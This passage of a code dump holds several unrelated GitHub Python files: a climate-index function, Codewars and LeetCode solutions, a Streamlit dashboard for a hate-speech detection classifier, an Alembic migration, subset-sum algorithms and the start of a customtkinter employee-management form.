clim_period[-1])}).groupby(time_name+'.month')\n slp_65_group = slp_65.groupby(time_name+'.month')\n slp_65_group_clim = slp_65.sel(\n {time_name: slice(clim_period[0],\n clim_period[-1])}).groupby(time_name+'.month')\n\n norm_40 = slp_40_group.map(_normalise, clim_group=slp_40_group_clim)\n norm_65 = slp_65_group.map(_normalise, clim_group=slp_65_group_clim)\n \n return (norm_40 - norm_65).rename('SAM')","repo_name":"dougrichardson/Richardson_compound_wildfire","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":29661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"7245251825","text":"from collections import defaultdict\n\n\ndef is_prime(number):\n return 2 in [number, 2 ** number % number]\n\n\ndef prime_factors(number):\n primes = list(filter(is_prime, range(2, int(number ** 0.5) + 1)))\n decompositions = defaultdict(int)\n for prime in primes:\n while number % prime == 0:\n decompositions[prime] += 1\n number //= prime\n\n if number != 1:\n decompositions[number] += 1\n\n string = ''.join([\n '({}**{})'.format(value, degree) if degree != 1\n else '({})'.format(value)\n for value, degree in sorted(decompositions.items(), key=lambda item: item[0])\n ])\n return string\n\n\nassert prime_factors(7775460) == \"(2**2)(3**3)(5)(7)(11**2)(17)\"\nassert prime_factors(86240) == \"(2**5)(5)(7**2)(11)\"\nassert prime_factors(933555431) == \"(7537)(123863)\"\n","repo_name":"AndreySkryl/Codewars","sub_path":"Python/5 kyu/Primes in numbers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32619397570","text":"import os\nimport pickle\nimport re\nimport string\nfrom pathlib import Path\n\nimport preprocessor as pproc\nimport spacy\nimport streamlit as st\nfrom cleantext import clean\nfrom PIL import Image\nfrom tensorflow.python.keras.utils.vis_utils import plot_model\nimport webbrowser\n\n\nfrom plots import (\n plot_freq_labels,\n plot_most_common_words,\n plot_top_20_pos,\n plot_top_pos_general,\n plot_word_hist\n)\n\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\n\n\nDATA_PATH = 'serialized'\n\n\nst.set_page_config(page_title=\"Hate speech detection\", page_icon=\"🔤\", layout=\"centered\")\n\n\n# My custom functions\n@st.cache(allow_output_mutation=True)\ndef get_data(path):\n \"\"\"\n Loads the serialized objects\n \n Parameters\n ----------\n path : str\n The folder where the serialized objects are stored\n \n Returns\n -------\n A tuple with the data pd.DataFrame, the TfidfVectorizer\n and the SVC fitted model.log_fit_n \n \"\"\"\n \n data = pickle.load(open(Path(path, \"data.pkl\"), \"rb\"))\n vect = pickle.load(open(Path(path, \"vect.pkl\"), \"rb\"))\n log_i = pickle.load(open(Path(path, \"log_i.pkl\"), \"rb\"))\n vect_pos1 = pickle.load(open(Path(path, \"vect_pos1.pkl\"), \"rb\"))\n log_pos1 = pickle.load(open(Path(path, \"log_pos1.pkl\"), \"rb\"))\n \n mcw = pickle.load(open(Path(path, \"mcw.pkl\"), \"rb\"))\n top20adj = pickle.load(open(Path(path, \"top20adj.pkl\"), \"rb\"))\n top20noun = pickle.load(open(Path(path, \"top20noun.pkl\"), \"rb\"))\n top20propn = pickle.load(open(Path(path, \"top20propn.pkl\"), \"rb\"))\n top20verb = pickle.load(open(Path(path, \"top20verb.pkl\"), \"rb\"))\n top_words = pickle.load(open(Path(path, \"top20verb.pkl\"), \"rb\"))\n top_adj = pickle.load(open(Path(path, \"top_adj_df.pkl\"), \"rb\"))\n top_noun = pickle.load(open(Path(path, \"top_noun_df.pkl\"), \"rb\"))\n top_propn = pickle.load(open(Path(path, \"top_propn_df.pkl\"), \"rb\"))\n top_verb = pickle.load(open(Path(path, \"top_verb_df.pkl\"), \"rb\"))\n top_pos = pickle.load(open(Path(path, \"top_pos_df.pkl\"), \"rb\"))\n\n return data, vect, log_i, vect_pos1, log_pos1, mcw, top20adj, top20noun, top20propn, top20verb, top_words, top_adj, top_noun, top_propn, top_verb, top_pos\n \n\n@st.cache(allow_output_mutation=True, suppress_st_warning=True)\ndef load_spacy_model():\n return spacy.load(\"en_core_web_sm\")\n \n# Classification functions\n\n\ndef expand_contractions(text):\n cList = {\n \"n't\": \" not\",\n \"/TD\": \" \",\n \" PM \": \" personal message \",\n \" pm \": \" personal message \",\n \"PM \": \"personal message \",\n \" Donot \": \" do not \",\n \" MB \": \" megabytes \",\n \"I'm\" : \"I am\",\n \" 've \" : \" have \",\n \" 're \" : \" are \",\n \" 'll \" : \" will \",\n }\n \n c_re = re.compile(\"(%s)\" % \"|\".join(cList.keys()))\n\n return c_re.sub(lambda match: cList[match.group(0)], text)\n\n\ndef full_text_clean(text, nlp, filter_pos):\n aa = expand_contractions(text)\n \n bb = pproc.clean(\n clean(\n pproc.clean(aa),\n fix_unicode=True, # fix various unicode errors\n to_ascii=True, # transliterate to closest ASCII representation\n lower=True, # lowercase text\n no_line_breaks=True, # fully strip line breaks as opposed to only normalizing them\n no_urls=True, # replace all URLs with a special token\n no_emails=True, # replace all email addresses with a special token\n no_phone_numbers=False, # replace all phone numbers with a special token\n no_numbers=False, # replace all numbers with a special token\n no_digits=False, # replace all digits with a special token\n no_currency_symbols=False, # replace all currency symbols with a special token\n no_punct=True, # remove punctuations\n replace_with_url=\" \",\n replace_with_email=\" \")\n )\n\n\n cc = (\n bb.lower()\n .replace(r\"(@[a-z0-9]+)\\w+\", \" \")\n .replace(r\"www\\S+\", \" \")\n .replace(r\"com/watch\", \" \")\n .replace(r\"\\S*[.,:;!?-]\\S*[^\\s\\.,:;!?-]\", \" \")\n .replace(r\" th \", \" \")\n .replace(r\"\\w*\\d\\w*\", \" \")\n .replace(r\"rlm\", \" \")\n .replace(r\"pttm\", \" \")\n .replace(r\"ghlight\", \" \")\n .replace(r\"[0-9]+(?:st| st|nd| nd|rd| rd|th| th)\", \" \")\n .replace(r\"([^a-z \\t])\", \" \")\n .replace(r\" +\", \" \")\n .replace(r\"http\", \" \"))\n \n cc = \" \".join([i for i in cc.split() if i not in string.punctuation and len(i) > 1]) ###############\n \n doc = nlp(cc)\n if filter_pos:\n return filter_text_pos(doc)\n else:\n return \" \".join([y.lemma_ for y in doc if len(y) > 1])\n \n\ndef filter_text_pos(x):\n final_pos_text = []\n for elem in x:\n for pos in [\"NOUN\" , \"VERB\" , \"ADJ\", \"PRON\", \"PROPN\"]:\n if elem.pos_ == pos:\n final_pos_text.append(elem.text)\n\n return \" \".join(final_pos_text)\n\n\ndef hate_predict(X, vect, clf, nlp, filter_pos):\n lista_pulita = [full_text_clean(text, nlp, filter_pos) for text in X]\n X_new = vect.transform(lista_pulita)\n classification = clf.predict(X_new)\n \n return classification\n\n\n# Pages\ndef load_homepage(data):\n st.markdown('''\n This dashboard is used to display the preliminary analysis and the results of Sentiment Analysis module project: the goal of the study is to classify text contents as hate speech or not.\n\n The dataset considered in the study contains textual data extracted from Stormfront, a white supremacist forum.\n\n In particular, data were taken from the Github repository [hate-speech-dataset] by Vicomtech, in which a list of sentences from a random set of forums posts is provided.\n \n A few number of variables are assigned to each of the sentences, including the label of interest: for every sentence, the dataset provides the column label which shows whether it has been classified as hate speech (1) or not hate speech (0).\n\n The first step was to clean deeply textual data; we faced some difficulties working with this dataset, since it turned out to be full of contractions and entities that created some bias, so had to be removed.\n\n After that, we perfomed several types of analysis on the data: we derived the most common words and also with respect to some characteristics of the words themselves, such as part of speech or the fact of being used in a sentence classified as hate speech.\n\n Last thing was to employ various supervised statistical methods, training them on various modification of this dataset. Among them, we selected two models that seem to better perform classification in terms of precision and f1 score.\n \n In particular, they are a Support Vector Machine model over a sample of the data balanced with respect to labels and the second one is a Logistic Regression over balanced data but considering only words beloning to specific parts of speech (nouns, verbs, adjectives, pronouns, proper nouns defined by spacy).\n\n ---\n\n In this dashboard you can find three pages: Homepage, Data Exploration, Classification.\n\n You are currently on the Homepage. :smile:\n\n On Data Exploration page you can use interactive tools to display plots and visualize data.\n\n On Classification page you can take advantage of the two trained model described above by writing a sentence on which you want to test the classification accuracy.\n \n [hate-speech-dataset]: \n ''', unsafe_allow_html = True)\n \n \ndef load_eda(data, mcw, top20adj, top20noun, top20propn, top20verb, top_words, top_adj, top_noun, top_propn, top_verb, top_pos):\n # IMAGES Data Analysis\n adj = Image.open('images_d/wc_a_hate.png')\n noun = Image.open('images_d/wc_n_hate.png')\n propn = Image.open('images_d/wc_p_hate.png')\n verb = Image.open('images_d/wc_v_hate.png')\n total_cloud = Image.open('images_d/wc_tot_hate.png')\n \n st.write(\"On this page you can use the interactive tools to explore data and gather intormation about them.\") \n \n st.markdown(\"

Data Table Visualization

\", unsafe_allow_html=True)\n\n st.write(\"Here you can build the data table by selecting columns and class of the label you want to display below.\")\n st.write(\"At the bottom of this page you can find the legend explaining what each column contains.\")\n \n selected_col = st.multiselect(\"Select columns:\", list(\n data.columns.values), list(data.columns.values))\n selected_lab = st.selectbox(\n \"Select the label:\", [\"Hate Speech\", \"Not Hate Speech\"])\n selected_lab_val = 1 if selected_lab == \"Hate Speech\" else 0\n\n st.write(data.loc[data['label'] == selected_lab_val, selected_col])\n \n st.markdown(\"---\", unsafe_allow_html=True)\n\n st.markdown(\"

Frequency Plots Section

\", unsafe_allow_html=True)\n\n st.write(\"You can click on buttons below to display plots and explore data.\")\n\n st.markdown(\"Select the plots to display by clicking on the corresponding buttons:\", unsafe_allow_html=True)\n \n with st.beta_expander(\"Labels frequency\"):\n st.plotly_chart(\n plot_freq_labels(data, template=\"plotly_white\"), use_container_width=True\n )\n\n with st.beta_expander(\"Word Counts plot\"):\n st.plotly_chart(\n plot_word_hist(data, template=\"plotly_white\"), use_container_width=True\n )\n\n with st.beta_expander(\"Top Words plot\"):\n st.plotly_chart(\n plot_most_common_words(mcw, template=\"plotly_white\"),\n use_container_width=True,\n )\n\n with st.beta_expander(\"Top Adjectives plot\"):\n st.plotly_chart(\n plot_top_20_pos(\n top20adj,\n x_col=\"Adj\",\n title=\"Frequency of interjection of Top 20 Adjectives in Hate Speech and neutral sentences\",\n template=\"plotly_white\",\n ),\n use_container_width=True,\n )\n\n with st.beta_expander(\"Top Nouns\"):\n st.plotly_chart(\n plot_top_20_pos(\n top20noun,\n x_col=\"Nouns\",\n title=\"Frequency of interjection of Top 20 Nouns in Hate Speech and neutral sentences\",\n template=\"plotly_white\",\n ),\n use_container_width=True,\n )\n\n with st.beta_expander(\"Top Proper Nouns\"):\n st.plotly_chart(\n plot_top_20_pos(\n top20propn,\n x_col=\"Proper Nouns\",\n title=\"Frequency of interjection of Top 20 Proper Nouns in Hate Speech and neutral sentences\",\n template=\"plotly_white\",\n ),\n use_container_width=True,\n )\n \n with st.beta_expander(\"Top Verbs\"):\n st.plotly_chart(\n plot_top_20_pos(\n top20verb,\n x_col=\"Verb\",\n title=\"Frequency of interjection of Top 20 Verbs in Hate Speech and neutral sentences\",\n template=\"plotly_white\",\n ),\n use_container_width=True,\n )\n \n with st.beta_expander(\"Top POS\"):\n st.plotly_chart(\n plot_top_pos_general(\n top_pos,\n x_col=[\"No_Hate\", \"Hate_Speech\"],\n y_col=[\"R_Freq_No_Hate\", \"R_Freq_Hate\"],\n title=\"Top POS\",\n template=\"plotly_white\"\n )\n )\n \n\n \n st.markdown(\"Select the tables to display by clicking on the corresponding buttons:\", unsafe_allow_html=True)\n \n with st.beta_expander(\"Top 20 Words table\"):\n st.dataframe(top_words)\n\n with st.beta_expander(\"Top 20 Adjectives table\"):\n st.dataframe(top_adj)\n\n with st.beta_expander(\"Top 20 Nouns table\"):\n st.dataframe(top_noun)\n\n with st.beta_expander(\"Top 20 Proper Nouns table\"):\n st.dataframe(top_propn)\n \n with st.beta_expander(\"Top 20 Verbs table\"):\n st.dataframe(top_verb)\n \n with st.beta_expander(\"Top POS table\"):\n st.dataframe(top_pos)\n \n\n st.markdown(\"---\", unsafe_allow_html=True)\n\n st.markdown(\"

Top words in WordCloud

\", unsafe_allow_html=True)\n \n st.write(\"In this section you can choose to display one or more cloud of words plots.\")\n st.write(\"You can choose between the cloud containing the 20 most common words for four parts of speech (Nouns, Proper Nouns, Adjectives and Verbs) or the plot that displays all of them together.\")\n selected_pos = st.multiselect(\"Select the part of speech:\", [\"Adjectives\", \"Nouns\" , \"Proper Nouns\", \"Verbs\", \"All of them\"])\n st.write(f\"Selected Option: {selected_pos!r}\")\n if \"Adjectives\" in selected_pos:\n st.image(adj, caption='Top 20 Adjectives in Hate Speech sentences')\n if \"Nouns\" in selected_pos:\n st.image(noun, caption='Top 20 Nouns in Hate Speech sentences')\n if \"Proper Nouns\" in selected_pos:\n st.image(propn, caption='Top 20 Proper Nouns in Hate Speech sentences')\n if \"Verbs\" in selected_pos:\n st.image(verb, caption='Top 20 Verbs in Hate Speech sentences')\n if \"All of them\" in selected_pos:\n st.image(total_cloud, caption='Collection of top 20 words for adjectives, nouns, proper nouns and verbs in Hate Speech sentences')\n \n st.markdown(\"---\")\n st.markdown(\"

Legend

\", unsafe_allow_html=True)\n st.markdown('''\n - label = Categorical variable for which 0 is Not Hate Speech and 1 is Hate Speech;\n - text = String containing the original sentence;\n - text_clean = String cleaned;\n - POS_spacy = List of tokens associated to the part of speech;\n - lemmatized = String of tokens lemmatized by spacy;\n - tokens = List of tokens retrieved by spacy;\n - language = Language of the sentence defined by spacy;\n - word_count_before = Number of tokens in original sentence, before cleaning;\n - word_count = Number of words after cleaning;\n - word_cleaning = Difference in number of words before and after cleaning;\n - NOUN = List of nouns in the sentence;\n - NOUN_count = Number of nouns in the sentence;\n - PROPN = List of proper nouns in the sentence;\n - PROPN_count = Number of proper nouns in the sentence; \n - VERB = List of verbs in the sentence;\n - VERB_count = Number of verbs in the sentence;\n - ADJ = List of adjectives in the sentence;\n - ADJ_count = Number of advectives in the sentence;\n - ADV = List of adverbs in the sentence;\n - ADV_count = Number of adverbs in the sentence;\n - PRON = List of pronouns in the sentence;\n - PRON_count = Number of pronouns in the sentence;\n - SCONJ = List of subordinating conjunction in the sentence;\n - SCONJ_count = Number of subordinating conjunction in the sentence;\n - INTJ = List of interjection in the sentence;\n - INTJ_count = Number of interjection in the sentence; \n ''', unsafe_allow_html=True)\n \n\ndef load_classif(data, vect, log_i, vect_pos1, log_pos1, nlp):\n st.markdown('''\n On this page you can test two of the models that have been trained for the project.\n \n In both cases, the lables were balanced with RandomUnderSampler.\n \n 1. Support Vector Machine trained on Lemmatized text;\n 2. Logistic Regression over data including only some parts of speech.\n \n In particular, the second model takes into account only the following list of parts of speech: composed of nouns, proper nouns, verbs, adjectives and pronouns.\n \n To do so, you need to write down the sentence you want to test in the board below.\n \n As you cas see, there is a sentence displayed by default. It was choosen since it clearly shows that the two models work differently: in this case, the first method performs better in terms of classification between Hate Speech and Not Hate Speech.\n ''', unsafe_allow_html=True) \n \n written_sent = st.text_input('Write your sentence here:', \"I hate all of you!\")\n\n warn_lbl = st.empty()\n if not written_sent:\n warn_lbl = st.warning('Please write the sentence you want to test')\n\n if written_sent:\n if warn_lbl is not None:\n warn_lbl = st.empty()\n\n pred_under = hate_predict(\n [written_sent], vect, log_i, nlp, filter_pos=False)\n pred_pos = hate_predict(\n [written_sent], vect_pos1, log_pos1, nlp, filter_pos=True)\n\n prediction_under, color_under = get_text_color(pred_under)\n prediction_pos, color_pos = get_text_color(pred_pos)\n\n st.markdown(\n \"

Model 1: Support Vector Machine trained on Lemmatized text

\", unsafe_allow_html=True)\n st.markdown(\n f'The sentence has been classified as: **{prediction_under}**', unsafe_allow_html=True)\n\n st.markdown(\n \"

Model 2: Logistic Regression including only some Parts of Speech

\", unsafe_allow_html=True)\n st.markdown(\n f'The sentence has been classified as: **{prediction_pos}**', unsafe_allow_html=True)\n \n\n st.markdown(\"---\", unsafe_allow_html=True)\n \n st.markdown(\"If you want to display the opposite effect - i.e. Model 1 failing in sentence classification, while Model 2 detects the label correctly - please, write in the cell above 'They are sick violent merciless animals'. \",unsafe_allow_html=True)\n \n st.markdown(\"Disclaimer: The examples used in the project are inspired by the sentences in the dataset itself. Some changes were made to disguise the sentences and alter the appearance, to make it less easy for the models to classify them.\", unsafe_allow_html=True)\n\ndef get_text_color(pred):\n if pred == 0:\n prediction = 'NOT HATE SPEECH'\n color = 'green'\n else:\n prediction = 'HATE SPEECH'\n color = 'red'\n \n return prediction, color\n\n\ndef main():\n \"\"\"Main routine of the app\"\"\"\n \n st.markdown(\"

HATE SPEECH DETECTION

\", unsafe_allow_html=True)\n st.markdown(\"

Text mining and sentiment analysis project

\", unsafe_allow_html=True)\n st.write(\"Martina Viggiano (954603)\")\n st.markdown(\"---\", unsafe_allow_html=True)\n \n app_mode = st.sidebar.radio(\n \"Go to:\", [\"Homepage\", \"Data Exploration\", \"Classification\"]\n )\n \n data, vect, log_i, vect_pos1, log_pos1, mcw, top20adj, top20noun, top20propn, top20verb, top_words, top_adj, top_noun, top_propn, top_verb, top_pos = get_data(DATA_PATH)\n nlp = load_spacy_model()\n \n if app_mode == \"Homepage\":\n load_homepage(data)\n elif app_mode == \"Data Exploration\":\n load_eda(data, mcw, top20adj, top20noun, top20propn, top20verb, top_words, top_adj, top_noun, top_propn, top_verb, top_pos)\n elif app_mode == \"Classification\":\n load_classif(data, vect, log_i, vect_pos1, log_pos1, nlp)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martinaviggiano/textsent_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":19636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29930947184","text":"def scriviFile(nome_file):\n f = open(nome_file, \"w\")\n for i in range(1, 11):\n for j in range(1, 11):\n f.write(f\"\\t{i * j} \")\n f.write(\"\\n\")\n f.close()\n\ndef main():\n tavola_pitagorica = []\n scriviFile(\"file.txt\")\nif __name__ == \"__main__\":\n main()","repo_name":"baralssss/PYTHON","sub_path":"PYTHON/ES_20pag73/es20.py","file_name":"es20.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35420715149","text":"\"\"\"empty message\n\nRevision ID: 19e50ba68e73\nRevises: 290e8bee439a\nCreate Date: 2020-02-09 17:00:39.906780\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '19e50ba68e73'\ndown_revision = '290e8bee439a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('map', sa.Column('size_height', sa.Integer(), nullable=True))\n op.drop_column('map', 'size_hight')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('map', sa.Column('size_hight', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True))\n op.drop_column('map', 'size_height')\n # ### end Alembic commands ###\n","repo_name":"PocketTRPG-Dev/PocketTRPG-backend","sub_path":"migrations/versions/19e50ba68e73_.py","file_name":"19e50ba68e73_.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14025181531","text":"class Solution:\n def findOriginalArray(self, changed: List[int]) -> List[int]:\n return self.naive(changed)\n \n def naive(self, changed):\n '''\n Time Complexity: O(N log N)\n Space Complexity: O(N)\n '''\n ret = []\n \n if len(changed) % 2:\n return ret\n \n sorted_changed = sorted(changed)\n\n d = Counter(changed)\n\n for i in sorted_changed[::-1]:\n if d[i] > 0:\n if i % 2 == 0 and d[i // 2] > 0:\n d[i] -= 1\n d[i // 2] -= 1\n ret.append(i//2)\n else:\n return []\n return ret\n ","repo_name":"prashanthr11/Leetcode_solutions","sub_path":"2007-find-original-array-from-doubled-array/2007-find-original-array-from-doubled-array.py","file_name":"2007-find-original-array-from-doubled-array.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21118313404","text":"\"\"\"\nGiven a list of integers S and a target number k, write a function that\nreturns a subset of S that adds up to k.\nIf such a subset cannot be made, then return null.\nIntegers can appear more than once in the list.\nYou may assume all numbers in the list are positive.\n\nFor example, given S = [12, 1, 61, 5, 9, 2] and k = 24,\nreturn [12, 9, 2, 1] since it sums up to 24.\n\"\"\"\nfrom typing import Tuple, Optional\n\n\ndef subset_sum(\n arr: list, k: int, arr_size: int, res: list, index: int = 0, total: int = 0\n) -> Tuple[Optional[list], int]:\n \"\"\"\n Using backtracking\n Time Complexity: O(n!)\n Space Complexity: O(n) # stack\n \"\"\"\n if total < k:\n for i in range(index, arr_size):\n if total + arr[i] <= k:\n res.append(arr[i])\n res, new_total = subset_sum(arr, k, arr_size, res, i + 1, total + arr[i])\n\n if new_total == k:\n return res, new_total\n\n res.pop() # backtrack\n\n return res or None, total\n\n\ndef subset_sum_dp(arr: list, k: int, arr_size: int) -> Tuple[bool, Optional[list]]:\n \"\"\"\n Time Complexity: O(sum * n)\n Space Complexity: O(sum * n)\n \"\"\"\n dp = [[False] * (k + 1) for _ in range(arr_size + 1)]\n\n for _ in range(arr_size + 1):\n dp[_][0] = True\n\n for ind in range(1, arr_size + 1):\n for cur_sum in range(1, k + 1):\n if cur_sum >= arr[ind - 1]:\n # if current sum >= current element, then dp[ind][cur_sum] is true if\n # dp[ind-1[cur_sum] is true - leave current element\n # or dp[ind-1][cur_sum-arr[ind-1]] is true - take current element\n dp[ind][cur_sum] = (\n dp[ind - 1][cur_sum] or dp[ind - 1][cur_sum - arr[ind - 1]]\n )\n else:\n dp[ind][cur_sum] = dp[ind - 1][cur_sum]\n\n if dp[arr_size][k] is False:\n return False, None\n\n # get the array\n res = []\n ind, cur_sum = arr_size, k\n\n while cur_sum > 0:\n # reverse the logic from dp construction\n # leave the element part has no impact, therefore do not test for it\n if cur_sum >= arr[ind - 1] and dp[ind - 1][cur_sum - arr[ind - 1]] is True:\n res.append(arr[ind - 1])\n cur_sum -= arr[ind - 1]\n ind -= 1\n\n return True, res\n\n\nif __name__ == \"__main__\":\n print(*subset_sum([12, 1, 61, 5, 9, 2], 24, 6, []), sep=\", \")\n print(subset_sum_dp([12, 1, 61, 5, 9, 2], 24, 6))\n print(subset_sum_dp([2, 3, 7, 8, 10], 11, 5))\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_0_to_100/problem_42.py","file_name":"problem_42.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26785398369","text":"# -------Importing Modules\nfrom tkinter import *\nimport customtkinter as ctk\nfrom tkinter import ttk, messagebox\nimport sqlite3\nfrom PIL import Image\nfrom datetime import datetime\n\n\nclass employeeClass:\n def __init__(self, root):\n self.root = root\n self.root.geometry(\"1250x600+200+148\")\n self.root.title(\"UA\")\n self.root.focus_force()\n self.root.resizable(False, False)\n\n # ============ All variables ===========\n self.var_searchby = StringVar(value=\"Select\")\n self.var_searchtxt = StringVar()\n\n self.var_emp_id = StringVar()\n self.var_gender = StringVar(value=\"Select\")\n self.var_contact = StringVar()\n self.var_name = StringVar()\n self.var_dob = StringVar() # Date of Birth\n self.var_doj = StringVar() # Date of joining\n self.var_email = StringVar()\n self.var_pass = StringVar()\n self.var_utype = StringVar() # User Type\n self.var_salary = StringVar()\n\n ctk.set_appearance_mode(\"System\") # Modes: system (default), light, dark\n ctk.set_default_color_theme(\"dark-blue\") # Themes: blue (default), dark-blue, green\n\n # ===== Style =====\n style = ttk.Style(self.root)\n\n # ====== Title =======\n self.title = ctk.CTkLabel(self.root, text=\"Return Products\", font=(\"Brush Script MT\", 50, \"bold\"))\n self.title.pack(side=TOP, fill=X)\n\n # ====== Search Frame ======\n self.SearchFrame = ctk.CTkFrame(self.root)\n self.SearchFrame.place(x=390, y=70, width=570, height=70)\n\n # ====== Options ======\n cmb_search = ctk.CTkComboBox(self.SearchFrame, variable=self.var_searchby,\n values=(\"Select\", \"Email\", \"Name\", \"Contact\"), justify=CENTER,\n font=(\"goudy old style\", 20))\n cmb_search.place(x=10, y=12, width=180)\n\n self.txtSearch = ctk.CTkEntry(self.SearchFrame, textvariable=self.var_searchtxt, font=(\"goudy old style\", 20))\n self.txtSearch.place(x=170, y=12, height=40)\n\n btn_search = ctk.CTkButton(self.SearchFrame, text=\"Search\", command=self.search, font=(\"goudy old style\", 20),\n cursor=\"hand2\").place(x=320, y=12, width=150, height=40)\n\n # ====== Title ======\n title = ctk.CTkLabel(self.root, text=\"Employee Details\", font=(\"Brush Script MT\", 35, 'bold'), fg_color=\"#2463aa\")\n title.pack(pady=70, fill=X)\n\n self.lblEmpId = ctk.CTkLabel(self.root, text=\"Emp Id\", font=(\"goudy old style\", 25))\n self.lblEmpId.place(x=90, y=200)\n\n self.lblGender = ctk.CTkLabel(self.root, text=\"Gender\", font=(\"goudy old style\", 25))\n self.lblGender.place(x=420, y=200)\n\n self.lblContact = ctk.CTkLabel(self.root, text=\"Contact\", font=(\"goudy old style\", 25))\n self.lblContact.place(x=780, y=200)\n\n self.txtEmpId = ctk.CTkEntry(self.root, textvariable=self.var_emp_id, font=(\"goudy old style\", 25))\n self.txtEmpId.place(x=210, y=200, width=180, height=40)\n\n cmb_gender = ctk.CTkComboBox(self.root, variable=self.var_gender,\n values=(\"Select\", \"Male\", \"Female\", \"Other\"), justify=CENTER,\n font=(\"goudy old style\", 15))\n cmb_gender.place(x=550, y=200, width=180, height=40)\n\n self.txtContact = ctk.CTkEntry(self.root, textvariable=self.var_contact, font=(\"goudy old style\", 25))\n self.txtContact.place(x=900, y=200, width=180, height=40)\n\n # ====== Row 2 ======\n self.lblName = ctk.CTkLabel(self.root, text=\"Name\", font=(\"goudy old style\", 25))\n self.lblName.place(x=90, y=240)\n\n self.lblDob = ctk.CTkLabel(self.root, text=\"D.O.B\", font=(\"goudy old style\", 25))\n self.lblDob.place(x=420, y=240)\n\n self.lblDoj = ctk.CTkLabel(self.root, text=\"D.O.J\", font=(\"goudy old style\", 25))\n self.lblDoj.place(x=780, y=240)\n\n self.txtName = ctk.CTkEntry(self.root, textvariable=self.var_name, font=(\"goudy old style\", 25))\n self.txtName.place(x=210, y=240, width=180, height=40)\n\n self.txtDob = ctk.CTkEntry(self.root, textvariable=self.var_dob, font=(\"goudy old style\", 25))\n self.txtDob.place(x=550, y=240, width=180, height=40)\n\n self.txtDoj = ctk.CTkEntry(self.root, textvariable=self.var_doj, font=(\"goudy old style\", 25))\n self.txtDoj.place(x=900, y=240, width=180, height=40)\n\n # ====== Row 3 ======\n self.lblEmail = ctk.CTkLabel(self.root, text=\"Email\", font=(\"goudy old style\", 25))\n self.lblEmail.place(x=90, y=280)\n\n self.lblPass = ctk.CTkLabel(self.root, text=\"Password\", font=(\"goudy old style\", 25))\n self.lblPass.place(x=420, y=280)\n\n self.lblUtype = ctk.CTkLabel(self.root, text=\"User Type\", font=(\"goudy old style\", 25))\n self.lblUtype.place(x=780, y=280)\n\n self.txtEmail = ctk.CTkEntry(self.root, textvariable=self.var_email, font=(\"goudy old style\", 25))\n self.txtEmail.place(x=210, y=280, width=180)\n\n self.txtPass = ctk.CTkEntry(self.root, textvariable=self.var_pass, font=(\"goudy old style\", 25))\n self.txtPass.place(x=550, y=280, width=180)\n\n cmb_utype = ctk.CTkComboBox(self.root, variable=self.var_utype,\n values=(\"Admin\", \"Employee\"), justify=CENTER,\n font=(\"goudy old style\", 25))\n cmb_utype.place(x=900, y=280, width=180)\n\n # ====== Row 4 ======\n self.lblAddress = ctk.CTkLabel(self.root, text=\"Address\", font=(\"goudy old style\", 25))\n self.lblAddress.place(x=90, y=330)\n\n self.lblSalary = ctk.CTkLabel(self.root, text=\"Salary\", font=(\"goudy old style\", 25))\n self.lblSalary.place(x=470, y=330)\n\n self.txtAddress = ctk.CTkTextbox(self.root, font=(\"goudy old style\", 25))\n self.txtAddress.place(x=210, y=330, width=300, height=60)\n\n self.txtSalary = ctk.CTkEntry(self.root, textvariable=self.var_salary, font=(\"goudy old style\", 25))\n self.txtSalary.place(x=550, y=330, width=180)\n\n # ====== Buttons ======\n btnFrame = ctk.CTkFrame(self.root)\n btnFrame.place(x=700, y=320, width=570, height=70)\n\n self.addIcon = ctk.CTkImage(light_image=Image.open(\"images/add.png\"), size=(32, 32))\n self.btn_add = ctk.CTkButton(btnFrame, text=\"Add\", image=self.addIcon, font=(\"Agency FB\", 20),\n cursor=\"hand2\", compound=LEFT, width=80, height=25, border_width=0,\n corner_radius=8)\n self.btn_add.place(x=10, y=5, width=130, height=50)\n self.btn_add.bind(\"\", self.add)\n self.btn_add.bind(\"\", self.add)\n\n self.updateIcon = ctk.CTkImage(light_image=Image.open(\"images/update.png\"), size=(32, 32))\n self.btn_update = ctk.CTkButton(btnFrame, text=\"Update\", image=self.updateIcon,\n font=(\"Agency FB\", 20),\n cursor=\"hand2\", compound=LEFT, width=80, height=25, border_width=0,\n corner_radius=8)\n self.btn_update.place(x=120, y=5, width=130, height=50)\n self.btn_update.bind(\"\", self.update)\n self.btn_update.bind(\"\", self.update)\n\n self.deleteIcon = ctk.CTkImage(light_image=Image.open(\"images/delete.png\"), size=(32, 32))\n self.btn_delete = ctk.CTkButton(btnFrame, text=\"Delete\", image=self.deleteIcon,\n font=(\"Agency FB\", 20),\n cursor=\"hand2\", compound=LEFT, width=80, height=25, border_width=0,\n corner_radius=8)\n self.btn_delete.place(x=230, y=5, width=130, height=50)\n self.btn_delete.bind(\"\", self.delete)\n self.btn_delete.bind(\"\", self.delete)\n\n self.clearIcon = 